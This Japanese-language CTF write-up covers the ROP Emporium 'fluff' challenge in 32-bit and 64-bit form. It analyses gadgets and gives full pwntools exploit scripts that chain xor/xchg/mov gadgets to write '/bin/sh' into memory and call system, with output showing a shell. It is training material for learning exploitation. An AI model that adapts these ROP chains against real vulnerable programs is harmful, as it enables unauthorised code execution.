ROP Emporium
ROPの練習問題集
解法時のメモをまとめておきます。
誤りや指摘事項があれば、コメントお願いします。
writeup link
fluff32 writeup
32bitのELF実行ファイル。
とりあえず、実行してみる。
# file ./fluff32
./fluff32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2b376a74b4e9897a4220c448d931704a229b8804, not stripped
#
#
# ./fluff32
fluff by ROP Emporium
32bits
You know changing these strings means I have to rewrite my solutions...
> test
Exiting
#
nmコマンドで実行ファイルのシンボル情報を確認する。
nm
# nm ./fluff32
0804a030 B __bss_start
0804a068 b completed.7200
0804a028 D __data_start
0804a028 W data_start
080484c0 t deregister_tm_clones
08048530 t __do_global_dtors_aux
08049f0c d __do_global_dtors_aux_fini_array_entry
0804a02c D __dso_handle
08049f14 d _DYNAMIC
0804a030 D _edata
0804a06c B _end
U fgets@@GLIBC_2.0
08048704 T _fini
08048718 R _fp_hw
08048550 t frame_dummy
08049f08 d __frame_dummy_init_array_entry
080488e0 r __FRAME_END__
0804a000 d _GLOBAL_OFFSET_TABLE_
w __gmon_start__
0804879c r __GNU_EH_FRAME_HDR
080483c0 T _init
08049f0c d __init_array_end
08049f08 d __init_array_start
0804871c R _IO_stdin_used
w _ITM_deregisterTMCloneTable
w _ITM_registerTMCloneTable
08049f10 d __JCR_END__
08049f10 d __JCR_LIST__
w _Jv_RegisterClasses
08048700 T __libc_csu_fini
080486a0 T __libc_csu_init
U __libc_start_main@@GLIBC_2.0
0804857b T main
U memset@@GLIBC_2.0
U printf@@GLIBC_2.0
U puts@@GLIBC_2.0
080485f6 t pwnme
08048670 T questionableGadgets
080484f0 t register_tm_clones
U setvbuf@@GLIBC_2.0
08048480 T _start
0804a040 B stderr@@GLIBC_2.0
0804a060 B stdin@@GLIBC_2.0
0804a064 B stdout@@GLIBC_2.0
U system@@GLIBC_2.0
0804a030 D __TMC_END__
0804864c t usefulFunction
080484b0 T __x86.get_pc_thunk.bx
#
usefulFunctionというシンボルがある。
questionableGadgetsという今までにないシンボルがある。
gdbでfluff32を解析していく。
canaryは今回も無効。
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
gdb-peda$
nmコマンドで確認できたusefulFunction / questionableGadgetsを見てみる。
usefulFunctionは/bin/ls
を実行する関数。
gdb-peda$ pdis usefulFunction
Dump of assembler code for function usefulFunction:
0x0804864c <+0>: push ebp
0x0804864d <+1>: mov ebp,esp
0x0804864f <+3>: sub esp,0x8
0x08048652 <+6>: sub esp,0xc
0x08048655 <+9>: push 0x8048793
0x0804865a <+14>: call 0x8048430 <system@plt>
0x0804865f <+19>: add esp,0x10
0x08048662 <+22>: nop
0x08048663 <+23>: leave
0x08048664 <+24>: ret
End of assembler dump.
gdb-peda$
gdb-peda$ x/s 0x8048793
0x8048793: "/bin/ls"
gdb-peda$
questionableGadgetsの内容を確認する。
ROP Gadgetで使えそうなのは下記の4箇所。
<questionableGadgets +0> - <questionableGadgets +9>
<questionableGadgets +10> - <questionableGadgets +19>
<questionableGadgets +20> - <questionableGadgets +33>
<questionableGadgets +34> - <questionableGadgets +41>
上記の各Gadgetsでレジスタの値を操作しているが、操作しているレジスタがバラバラなので上手く使えば、ROPが構築できそう。
gdb-peda$ pdis questionableGadgets
Dump of assembler code for function questionableGadgets:
0x08048670 <+0>: pop edi
0x08048671 <+1>: xor edx,edx
0x08048673 <+3>: pop esi
0x08048674 <+4>: mov ebp,0xcafebabe
0x08048679 <+9>: ret
0x0804867a <+10>: pop esi
0x0804867b <+11>: xor edx,ebx
0x0804867d <+13>: pop ebp
0x0804867e <+14>: mov edi,0xdeadbabe
0x08048683 <+19>: ret
0x08048684 <+20>: mov edi,0xdeadbeef
0x08048689 <+25>: xchg edx,ecx
0x0804868b <+27>: pop ebp
0x0804868c <+28>: mov edx,0xdefaced0
0x08048691 <+33>: ret
0x08048692 <+34>: pop edi
0x08048693 <+35>: mov DWORD PTR [ecx],edx
0x08048695 <+37>: pop ebp
0x08048696 <+38>: pop ebx
0x08048697 <+39>: xor BYTE PTR [ecx],bl
0x08048699 <+41>: ret
0x0804869a <+42>: xchg ax,ax
0x0804869c <+44>: xchg ax,ax
0x0804869e <+46>: xchg ax,ax
End of assembler dump.
gdb-peda$
usefulFunctionにsystem関数はあるので、メモリ上に/bin/sh
を書き込めれば、それを引数としてsystem(/bin/sh)を実行できる。
<questionableGadgets +35>のmov DWORD PTR [ecx],edx
を使えば、ecxのアドレスにedxの値を書き込める。
したがって、ecxにメモリ上の書き込み可能なアドレス、edxに/bin
または/sh\x00
を格納することを目指す。
0x08048693 <+35>: mov DWORD PTR [ecx],edx
0x08048695 <+37>: pop ebp
0x08048696 <+38>: pop ebx
0x08048697 <+39>: xor BYTE PTR [ecx],bl
0x08048699 <+41>: ret
まずは、ecxに書き込み可能なアドレスを格納できるようにROP Gadgets構築する。
xor edx,edx
を実行し、edxの値を0にする。
0x08048671 <+1>: xor edx,edx
0x08048673 <+3>: pop esi
0x08048674 <+4>: mov ebp,0xcafebabe
0x08048679 <+9>: ret
stackに積んでいる値をebxに格納する。
ここで、書き込み可能なアドレスをstackに積んでおく。
xor edx,ebx
を実行し、edxとedxの排他的論理和を計算した結果をedxに格納する。
edxの値は0になっているため、0(edx)とebx排他的論理和の結果はebxになる。
つまり、下記のGadgetではebxの値をedxにコピーしていることになる。
0x0804867b <+11>: xor edx,ebx
0x0804867d <+13>: pop ebp
0x0804867e <+14>: mov edi,0xdeadbabe
0x08048683 <+19>: ret
xchg命令によって、ecxとedxの値を交換している。
0x08048689 <+25>: xchg edx,ecx
0x0804868b <+27>: pop ebp
0x0804868c <+28>: mov edx,0xdefaced0
0x08048691 <+33>: ret
これらのGadgetによって、ecxに書き込み可能なアドレスを格納できる。
次に、edxに/bin
または/sh\x00
の文字列を格納することを目指す。
xor edx,edx
を実行し、edxの値を0にする。
0x08048671 <+1>: xor edx,edx
0x08048673 <+3>: pop esi
0x08048674 <+4>: mov ebp,0xcafebabe
0x08048679 <+9>: ret
stackに積んでいる値をebxに格納する。
ここで、/bin
または/sh\x00
をstackに積んでおく。
xor edx,ebx
を実行し、edxとedxの排他的論理和を計算した結果をedxに格納する。
edxの値は0になっているため、0(edx)とebx排他的論理和の結果はebxになる。
つまり、下記のGadgetではebxの値をedxにコピーしていることになる。
0x0804867b <+11>: xor edx,ebx
0x0804867d <+13>: pop ebp
0x0804867e <+14>: mov edi,0xdeadbabe
0x08048683 <+19>: ret
これらのGadgetによって、edxに/bin
または/sh\x00
の文字列を格納できる。
mov DWORD PTR [ecx],edx
を使えば、ecxのアドレスにedxの値を書き込める。
0x08048693 <+35>: mov DWORD PTR [ecx],edx
0x08048695 <+37>: pop ebp
0x08048696 <+38>: pop ebx
0x08048697 <+39>: xor BYTE PTR [ecx],bl
0x08048699 <+41>: ret
これまで説明してきたGadgetを使用することで、書き込み可能なアドレスに/bin/sh
を書き込める。
/bin/sh
が書き込まれたアドレスを引数としてsystemを実行する。
from pwn import *
conn = process('./fluff32')
system_plt_addr=0x08048430
xor_edx_addr=0x08048671 # xor edx,edx ; pop esi ; mov ebp,0xcafebabe ; ret
xchg_addr=0x08048689 # xchg edx,ecx ; pop ebp ; mov edx,0xdefaced0 ; ret
xor_addr=0x0804867b # xor edx,ebx ; pop ebp ; mov edi,0xdeadbabe ; ret
mov_ecx_edx_addr=0x08048693 # mov DWORD PTR [ecx] edx ; pop ebp ; pop ebx ; xor BYTE PTR [ecx],bl ; ret
pop_ebx_addr=0x080483e1 # pop ebx ; ret ;
write_mem_addr=0x804a040
payload = 'A'*44
# set write address to ecx
payload += p32(xor_edx_addr)
payload += 'AAAA' #dummy esi
payload += p32(pop_ebx_addr)
payload += p32(write_mem_addr)
payload += p32(xor_addr)
payload += 'AAAA' #dummy ebp
payload += p32(xchg_addr)
payload += 'AAAA' #dummy ebp
# set strings '/bin' to edx
payload += p32(xor_edx_addr)
payload += 'AAAA' #dummy esi
payload += p32(pop_ebx_addr)
payload += '/bin'
payload += p32(xor_addr)
payload += 'AAAA' #dummy ebp
# mov [ecx] edx
payload += p32(mov_ecx_edx_addr)
payload += 'AAAA' #dummy ebp
payload += '\x00\x00\x00\x00' #dummy ebx
# set write address+4 to ecx
payload += p32(xor_edx_addr)
payload += 'AAAA' #dummy esi
payload += p32(pop_ebx_addr)
payload += p32(write_mem_addr+4)
payload += p32(xor_addr)
payload += 'AAAA' #dummy ebp
payload += p32(xchg_addr)
payload += 'AAAA' #dummy ebp
# set strings '/sh\x00' to edx
payload += p32(xor_edx_addr)
payload += 'AAAA' #dummy esi
payload += p32(pop_ebx_addr)
payload += '/sh\x00'
payload += p32(xor_addr)
payload += 'AAAA' #dummy ebp
# mov [ecx] edx
payload += p32(mov_ecx_edx_addr)
payload += 'AAAA' #dummy ebp
payload += '\x00\x00\x00\x00' #dummy ebx
# system(/bin/sh)
payload += p32(system_plt_addr)
payload += 'AAAA'
payload += p32(write_mem_addr)
conn.sendline(payload)
conn.interactive()
# python ./fluff32.py
[+] Starting local process './fluff32': pid 7638
[*] Paused (press any to continue)
[*] Switching to interactive mode
fluff by ROP Emporium
32bits
You know changing these strings means I have to rewrite my solutions...
> $ ls
core flag.txt fluff32 fluff32.py peda-session-fluff32.txt
$ cat flag.txt
ROPE{a_placeholder_32byte_flag!}
$
$
fluff writeup
fluffの64bit版。
64bitの実行ファイルになっているが、実行時の出力メッセージは特に変化なし。
# ./fluff
fluff by ROP Emporium
64bits
You know changing these strings means I have to rewrite my solutions...
> test
Exiting
#
nmコマンドで実行ファイルのシンボル情報を確認する。
nm
# nm ./fluff
0000000000601060 B __bss_start
0000000000601088 b completed.7585
0000000000601050 D __data_start
0000000000601050 W data_start
0000000000400680 t deregister_tm_clones
0000000000400700 t __do_global_dtors_aux
0000000000600e18 d __do_global_dtors_aux_fini_array_entry
0000000000601058 D __dso_handle
0000000000600e28 d _DYNAMIC
0000000000601060 D _edata
0000000000601090 B _end
U fgets@@GLIBC_2.2.5
00000000004008d4 T _fini
0000000000400720 t frame_dummy
0000000000600e10 d __frame_dummy_init_array_entry
0000000000400ad8 r __FRAME_END__
0000000000601000 d _GLOBAL_OFFSET_TABLE_
w __gmon_start__
0000000000400964 r __GNU_EH_FRAME_HDR
00000000004005a0 T _init
0000000000600e18 d __init_array_end
0000000000600e10 d __init_array_start
00000000004008e0 R _IO_stdin_used
w _ITM_deregisterTMCloneTable
w _ITM_registerTMCloneTable
0000000000600e20 d __JCR_END__
0000000000600e20 d __JCR_LIST__
w _Jv_RegisterClasses
00000000004008d0 T __libc_csu_fini
0000000000400860 T __libc_csu_init
U __libc_start_main@@GLIBC_2.2.5
0000000000400746 T main
U memset@@GLIBC_2.2.5
U printf@@GLIBC_2.2.5
U puts@@GLIBC_2.2.5
00000000004007b5 t pwnme
0000000000400820 T questionableGadgets
00000000004006c0 t register_tm_clones
U setvbuf@@GLIBC_2.2.5
0000000000400650 T _start
0000000000601080 B stderr@@GLIBC_2.2.5
0000000000601070 B stdin@@GLIBC_2.2.5
0000000000601060 B stdout@@GLIBC_2.2.5
U system@@GLIBC_2.2.5
0000000000601060 D __TMC_END__
0000000000400807 t usefulFunction
#
usefulFunctionとquestionableGadgetsという今シンボルがある。
gdbでfluffを解析していく。
canaryは今回も無効。
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
gdb-peda$
nmコマンドで確認できたusefulFunction / questionableGadgetsを見てみる。
usefulFunctionは/bin/lsを実行する関数。
gdb-peda$ pdis usefulFunction
Dump of assembler code for function usefulFunction:
0x0000000000400807 <+0>: push rbp
0x0000000000400808 <+1>: mov rbp,rsp
0x000000000040080b <+4>: mov edi,0x40095b
0x0000000000400810 <+9>: call 0x4005e0 <system@plt>
0x0000000000400815 <+14>: nop
0x0000000000400816 <+15>: pop rbp
0x0000000000400817 <+16>: ret
End of assembler dump.
gdb-peda$
gdb-peda$ x/s 0x40095b
0x40095b: "/bin/ls"
gdb-peda$
questionableGadgetsの内容を確認する。
ROP Gadgetで使えそうなのは下記の4箇所。
<questionableGadgets +0> - <questionableGadgets +12>
<questionableGadgets +13> - <questionableGadgets +26>
<questionableGadgets +27> - <questionableGadgets +43>
<questionableGadgets +44> - <questionableGadgets +56>
gdb-peda$ pdis questionableGadgets
Dump of assembler code for function questionableGadgets:
0x0000000000400820 <+0>: pop r15
0x0000000000400822 <+2>: xor r11,r11
0x0000000000400825 <+5>: pop r14
0x0000000000400827 <+7>: mov edi,0x601050
0x000000000040082c <+12>: ret
0x000000000040082d <+13>: pop r14
0x000000000040082f <+15>: xor r11,r12
0x0000000000400832 <+18>: pop r12
0x0000000000400834 <+20>: mov r13d,0x604060
0x000000000040083a <+26>: ret
0x000000000040083b <+27>: mov edi,0x601050
0x0000000000400840 <+32>: xchg r11,r10
0x0000000000400843 <+35>: pop r15
0x0000000000400845 <+37>: mov r11d,0x602050
0x000000000040084b <+43>: ret
0x000000000040084c <+44>: pop r15
0x000000000040084e <+46>: mov QWORD PTR [r10],r11
0x0000000000400851 <+49>: pop r13
0x0000000000400853 <+51>: pop r12
0x0000000000400855 <+53>: xor BYTE PTR [r10],r12b
0x0000000000400858 <+56>: ret
0x0000000000400859 <+57>: nop DWORD PTR [rax+0x0]
End of assembler dump.
gdb-peda$
ここらは、fluff32と同様の考えでROPを組む。
<questionableGadgets +46>のmov QWORD PTR [r10],r11
を使用して書き込み可能なアドレスに/bin/sh¥00
を入力することを目指す。
まずは、r10
に書き込み可能なアドレス、r11
に/bin/sh¥00
を格納するgadgetを組む。
/bin/sh¥00
を書き込んだアドレスをpop rdi
のgadgetを使用してrdiに格納し、systemを呼び出すことでsystem(/bin/sh)を実行させる。
from pwn import *
conn = process('./fluff')
system_plt_addr=0x4005e0
xor_r11_addr=0x400822 # xor r11,r11 ; pop r14 ; mov edi,0x601050 ; ret
xor_r11_r12_addr=0x40082f # xor r11,r12 ; pop r12 ; mov edi,0x604060
xchg_r11_r10_addr=0x400840 # xchg r11,10 ; pop r15 ; mov r11d,0x602050
mov_r10_r11_addr=0x40084e # mov QWORD PTR [r10] r11 ; pop r13 ; pop r12 ; ret
pop_rdi_addr=0x004008c3 # pop rdi ; ret
pop_r12_addr=0x00400832 # pop r12 ; mov r13d, 0x00604060 ; ret
write_mem_addr=0x601060
payload = 'A'*40
# set write address r10
payload += p64(xor_r11_addr)
payload += p64(0)
payload += p64(pop_r12_addr)
payload += p64(write_mem_addr)
payload += p64(xor_r11_r12_addr)
payload += p64(0)
payload += p64(xchg_r11_r10_addr)
payload += p64(0)
# set strings '/bin/sh\x00' to r11
payload += p64(pop_r12_addr)
payload += '/bin/sh\x00'
payload += p64(xor_r11_addr)
payload += p64(0)
payload += p64(xor_r11_r12_addr)
payload += p64(0)
# mov [r10] r11
payload += p64(mov_r10_r11_addr)
payload += p64(0)
payload += p64(0)
# system(/bin/sh)
payload += p64(pop_rdi_addr)
payload += p64(write_mem_addr)
payload += p64(system_plt_addr)
pause()
conn.sendline(payload)
conn.interactive()
# python ./fluff.py
[+] Starting local process './fluff': pid 8582
[*] Paused (press any to continue)
[*] Switching to interactive mode
fluff by ROP Emporium
64bits
You know changing these strings means I have to rewrite my solutions...
> $ ls
core flag.txt fluff fluff.py peda-session-fluff.txt
$ cat flag.txt
ROPE{a_placeholder_32byte_flag!}
$